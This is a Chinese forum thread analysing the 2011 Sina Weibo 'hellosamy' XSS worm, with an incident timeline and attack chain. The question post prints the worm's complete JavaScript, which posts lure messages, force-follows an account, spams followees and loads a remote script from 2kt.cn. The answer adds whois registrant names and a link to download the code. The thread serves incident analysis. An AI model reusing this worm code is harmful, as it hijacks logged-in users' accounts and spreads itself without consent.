寻求新浪微博被攻击完整技术分析


求今晚新浪微博被黑的技术分析。

目前收集到的资料 (均来自网络)

请输入图片描述
(大图链接 -> http://ww2.sinaimg.cn/large/56b798f8g... )

最新补充:
请输入图片描述

xss 链接 -> 163.fm 跳板 -> t.cn 短链

熊猫烧香李俊提供的:
请输入图片描述

相关代码:

function createXHR(){
    return window.XMLHttpRequest?
    new XMLHttpRequest():
    new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
    xmlHttp = createXHR();
    xmlHttp.open("GET",url,false);
    xmlHttp.send();
    result = xmlHttp.responseText;
    id_arr = '';
    id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
    for(i=0;i<id.length;i++){
        sum = id[i].toString().split('"')[3];
        id_arr += sum + '||';
    }
    return id_arr;
}
function random_msg(){
    link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
    var msgs = [
        '郭美美事件的一些未注意到的细节:',
        '建党大业中穿帮的地方:',
        '让女人心动的100句诗歌:',
        '3D肉团团高清普通话版种子:',
        '这是传说中的神仙眷侣啊:',
        '惊爆!范冰冰艳照真流出了:',
        '杨幂被爆多次被潜规则:',
        '傻仔拿锤子去抢银行:',
        '可以监听别人手机的软件:',
        '个税起征点有望提到4000:'];
    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
    msg = encodeURIComponent(msg);
    return msg;
}
function post(url,data,sync){
    xmlHttp = createXHR();
    xmlHttp.open("POST",url,sync);
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    xmlHttp.send(data);
}
function publish(){
    url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
    post(url,data,true);
}
function follow(){
    url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
    data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
    post(url,data,true);
}
function message(){
    url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
    ids = getappkey(url);
    id = ids.split('||');
    for(i=0;i<id.length - 1 & i<5;i++){
        msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
        msg = random_msg();
        msg = encodeURIComponent(msg);
        user = encodeURIComponent(encodeURIComponent(id[i]));
        data = 'content=' + msg + '&name=' + user + '&retcode=';
        post(msgurl,data,false);
    }
}
function main(){
    try{
        publish();
    }
    catch(e){}
    try{
        follow();
    }
    catch(e){}
    try{
        message();
    }
    catch(e){}
}
try{
   x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

这次的攻击是利用微博广场页面 weibo.com/pub/star 有XSS漏洞,被植入了恶意JS脚本

新浪微博pm说:基本定位了这次攻击的原因,微博广场页面 weibo.com/pub/star 有XSS漏洞,被植入了恶意JS脚本。初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。(来自知乎)

业内人员称发生这次用户中毒的原因是,新浪微博的第三方软件API接口被人利用,通过csrf漏洞制造了蠕虫病毒,这一病毒可以未经用户授权转发链接,而链接中包括的js代码则有继续感染其他用户的危害。该病毒并不会窃取用户密码。

希望大家一起来分析研究。

黑客 xss

黑貓キキ君 10 years, 9 months ago

一、事件的经过

新浪微博突然出现大范围“中毒”,大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。

事件的经过线索如下:

20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,2kt.cn中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕

影响有多大:32961(这位hellosamy在帐号被封前的好友数量)。

二、采用了什么样的攻击方法

1、利用了新浪微博存在的XSS漏洞;

2、使用有道提供的短域名服务(这些网址目前已经“无害”);

例如,通过 http://163.fm/PxZHoxn ,将链接指向:
http://weibo.com/pub/star/g/xyyyd%22%...

3、当新浪登陆用户不小心访问到相关网页时,由于处于登录状态,会运行这个js脚本做几件事情:

a.发微博(让更多的人看到这些消息,自然也就有更多人受害);
b.加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
c.发私信,给好友发私信传播这些链接;

三、攻击者是谁?

攻击者不一定是2kt.cn的拥有者。目前暂时只能获得2kt.cn域名、网站拥有者信息如下。
不排除这个网站被攻击后,服务器被人放置恶意代码。

通过whois查询,2kt.cn的域名拥有者信息如下:

localhost% whois 2kt.cn
Domain Name: 2kt.cn
ROID: 20081025s10001s69222533-cn
Domain Status: ok
Registrant Organization: 北京新网数码信息技术有限公司
Registrant Name: 张志
Administrative Email: [email protected]
Sponsoring Registrar: 北京新网数码信息技术有限公司
Name Server:ns.xinnetdns.com
Name Server:ns.xinnet.cn
Registration Date: 2008-10-25 04:22
Expiration Date: 2011-10-25 04:22

通过工信部的备案查询: http://www.miibeian.gov.cn/publish/qu...

网站负责人姓名:刘孝德
网站备案/许可证号:苏ICP备10108026号-1

四、为什么叫hellosamy?

2005年,首个利用跨站点脚本缺陷的蠕虫samy被“创造”出来了。Samy利用网站设计方面的缺陷,创建了一份“恶意”的用户档案,当该用户档案被浏览时,就会自动地激活代码,将用户添加到Samy的“好友”列表中。另外,恶意代码还会被拷贝到用户的档案中,当其他人查看用户的档案时,蠕虫会继续传播。Samy蠕虫能够造成与拒绝服务相当的效应,会造成好友列表中好友数量呈指数级增长,最终会消耗系统的大量资源。

因此,这次新浪微博的蠕虫,象是在对samy蠕虫致敬

五、参考信息

samy蠕虫的传播经历与技术细节: http://namb.la/popular http://namb.la/popular/tech.html

六、本次蠕虫事件中的代码下载
http://t.cn/aNhKgc?u=1319542477

这货不是灰机 answered 10 years, 9 months ago

Your Answer